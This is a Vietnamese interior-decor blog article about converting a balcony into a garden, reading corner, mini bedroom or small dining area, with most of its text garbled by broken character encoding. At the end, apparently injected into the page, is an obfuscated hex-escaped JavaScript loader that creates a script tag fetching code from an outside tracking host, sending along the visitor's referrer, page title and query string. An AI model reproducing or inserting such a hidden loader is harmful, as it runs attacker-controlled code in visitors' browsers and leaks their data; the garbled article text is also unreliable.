Bia??n ban cA?ng thA�nh thiA?n A�?�a�?ng ngha�� d?�a�?ng cha�� trong tA�ch ta??c

Bài viết của Lý Đỗ
Xuất bản:23-01-2018 02:35:59

Ma?�c dA? cA? dia��n tA�ch khA? khiA?m ta��n, nh?�ng ban cA?ng lA� n??i da�� dA�ng bia??n hA?a ma��t cA?ch A�??n gia??n A�a�? tra�Y thA�nh ma��t thiA?n A�?�a�?ng na??u ba??n bia??t cA?ch trang trA� vA� sa??p xa??p ha�?p lA?.

TA?y thua��c vA�o tA�nh cA?ch ca��a mA�nh ba??n cA? tha�? ta�� mA�nh A�?�a ra nha�?ng A? t?�a�Yng tuya��t va�?i A�a�? lA�m cho ngA?i nhA� tra�Y nA?n xinh A�a??p h??n. D?�a��i A�A?y lA� nha�?ng cA?ch bia??n ban cA?ng thA�nh thiA?n A�?�a�?ng ngha�� d?�a�?ng cha�� trong tA�ch ta??c.

tan-dung-toi-da-khong-gian-cua-can-nha

Bia??n ban cA?ng thA�nh n??i ngha�� d?�a�?ng lA? t?�a�Yng (a??nh : ST )

Khu v?�a�?n nga?�p trA�n hoa vA� cA?y ca??nh ta??o khA?ng gian th?� giA?n

thiet-ke-ban-cong-thanh-khu-vuon-ngap-tran-hoa

Ma��t khu v?�a�?n nha�? xinh ngay trong nhA� ba??n (a??nh : ST )

Sa�� cha?�t ha??p ca��a na��i tha??t cA?n ha�� khia??n ba??n cha??ng tha�? nA�o cA? ma��t khu v?�a�?n nha�? nh?� mA�nh ta��ng ao ?�a��c. A?a��ng va��i ba�? qua cA?ng hia��u vA? cA?ng to la��n ca��a ban cA?ng. Cha�� ca?�n sa??p xa??p ma��t cA?ch ga�?n gA�ng, s??n la??i gam mA�u da�� th?�??ng vA� ba??t A�a?�u tra��ng nha�?ng loa??i cA?y, hoa yA?u thA�ch vA�o nha�?ng chia??c cha?�u. A?A?y sa?? lA� n??i ba??n ca??m tha??y thA�ch thA? ba�Yi ca??m giA?c th?� giA?n vA� khA?ng khA� lA?c nA�o cA�ng t?�??i mA?t.

Ta??o da��ng khA?ng gian riA?ng A�a�? A�a�?c sA?ch, th?� giA?n

tan-huong-su-yen-binh-voi-mot-tach-tra-vao-moi-buoi-sang

Ta?�n da�?ng ta��i A�a khA?ng gian ca��a cA?n nhA� (a??nh : ST )

Bia??n ban cA?ng thA�nh cA?n phA?ng nha�? A�a�? A�a�?c sA?ch t?�??ng A�a��i ma��i la??. Th?�a�?ng thA� khi thia??t ka?? na��i tha??t gia A�A�nh, gia cha�� A�A? dA�nh ma��t pha?�n cho nA? na??u cA? A? A�a��nh A�A?. A?a�? cA?n phA?ng tA?ch bia��t hoA�n toA�n va��i khA?ng gian bA?n trong, trang trA� la??i A�a�? ta??o nA?n sa�� yA?n tA�nh. Va��a A�a�?c sA?ch va��a nga??m nhA�n tra�?i A�A?m, nga??m nhA�n A�?�a�?ng pha��, ca??m nha?�n sa�� thanh thoA?t trong tA?m ha��n lA� lA?c ba??n A�?�a�?c bA�nh yA?n nha??t.

PhA?ng nga�� mini lA?ng ma??n cA? tha�? nhA�n nga??m ba?�u tra�?i va�? A�A?m

bien-ban-cong-thanh-noi-ngu-ly-tuong

Ban cA?ng ma��t trong nha�?ng n??i nga�� va�? A�A?m vA? cA?ng lA? t?�a�Yng (a??nh: ST)

Nhia�?u cA?n ha�� a�Y cA?c thA�nh pha�� la��n cA? dia��n tA�ch khA? ha??p, sa�� l?�a�?ng phA?ng cA? tha�? khA?ng A�a�� cho ta??t ca?? cA?c thA�nh viA?n trong gia A�A�nh. Bia??t ta?�n da�?ng thA� ban cA?ng cA�ng cA? tha�? tra�Y thA�nh ma��t cA?n phA?ng nga�� mini lA?ng ma??n. Khi thia??t ka?? na��i tha??t cA?n ha�� pha?�n ban cA?ng cA�ng nA?n A�?�a�?c chA? A?, khA?ng nA?n thi cA?ng quA? kiA?n ca�� vA� pha?�n nA�y cA? tha�? thay A�a��i ma�?c A�A�ch sa�� da�?ng theo A? thA�ch ca��a ba??n.

KhA?ng gian th?� giA?n va��i bA�n trA� vA� ma��t A�t cha?�u hoa

tan-huong-su-yen-binh-voi-mot-tach-tra-vao-moi-sang

Ta?�n h?�a�Yng sa�� yA?n bA�nh cA?ng va��i ma��t tA?ch trA� vA�o bua��i sA?ng a�Y ban cA?ng (a??nh : ST )

NgoA�i ma�?c A�A�ch sa�� da�?ng ban cA?ng lA�m v?�a�?n hoa, cA?y ca??nh thA� A�A?y cA�ng lA� ma�?c A�A�ch ta?�n da�?ng ban cA?ng pha�� bia??n nha??t. Cha�� ca?�n A�a?�t thA?m ma��t ba�� bA�n gha?? nha�? xinh xa??n, trang trA� thA?m vA�i cha?�u hoa theo A? thA�ch ba??n A�A? cA? n??i A�a�? th?� giA?n, trA? chuya��n cA?ng vA? cA?ng thA�ch thA?.

PhA?ng A?n mini vA� cA�ng cA? tha�? lA� n??i A�a�? A�A?n tia??p ba??n bA? thA?n

bien-ban-cong-thanh-khong-gian-an-uong-thu-vi

Ban cA?ng thA�nh khA?ng gian A?n ua��ng thA? va�� (a??nh : ST )

Ta?�n da�?ng ban cA?ng thA�nh phA?ng A?n mini lA� sa�� sA?ng ta??o tuya��t va�?i. a�z A�A?y cA�ng cA? tha�? lA� n??i A�A?n tia??p ba??n bA? ca��a con cA?i ma��i la?�n nhA� cA? khA?ch ng?�a�?i la��n. Ta�?i nha�? sa?? ra??t thA�ch khA?ng gian a�Y ban cA?ng, chA?ng cA? tha�? thoa??i mA?i vui A�A?a.

 

bien-ban-cong-thanh-noi-ngu-ly-tuong

Ta?�n dung ta��i A�a ma�?i khA?ng gian ban cA?ng A�a�? lA�m n??i th?� giA?n (a??nh : ST )

>>> Xem thA?m: 6 Ma?�u thia??t ka?? na��i tha??t phA?ng nga�� A�a??p nha??t 2017

Va��i ma��t khoa??ng khA?ng gian nha�? t?�a�Yng cha��ng nh?� khA?ng cA? cha��c nA?ng gA� nh?�ng va��i A? t?�a�Yng thia??t ka?? ban cA?ng tuya��t va�?i sa?? bia??n nha�?ng khA?ng gian A�ang ba�? khA?ng tra�Y thA�nh ma��t thiA?n A�?�a�?ng A�a?�y thA? va��. A?a��ng lA?ng phA� ba??t ca�� khA?ng gian nA�o ca��a cA?n nhA�, A�a?�c bia��t lA� ban cA?ng, hA?y bia??n ban cA?ng thA�nh thiA?n A�?�a�?ng ngha�� d?�a�?ng tuya��t va�?i cho gia A�A�nh ba??n.

Ngua��n a??nh: S?�u ta?�m

var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

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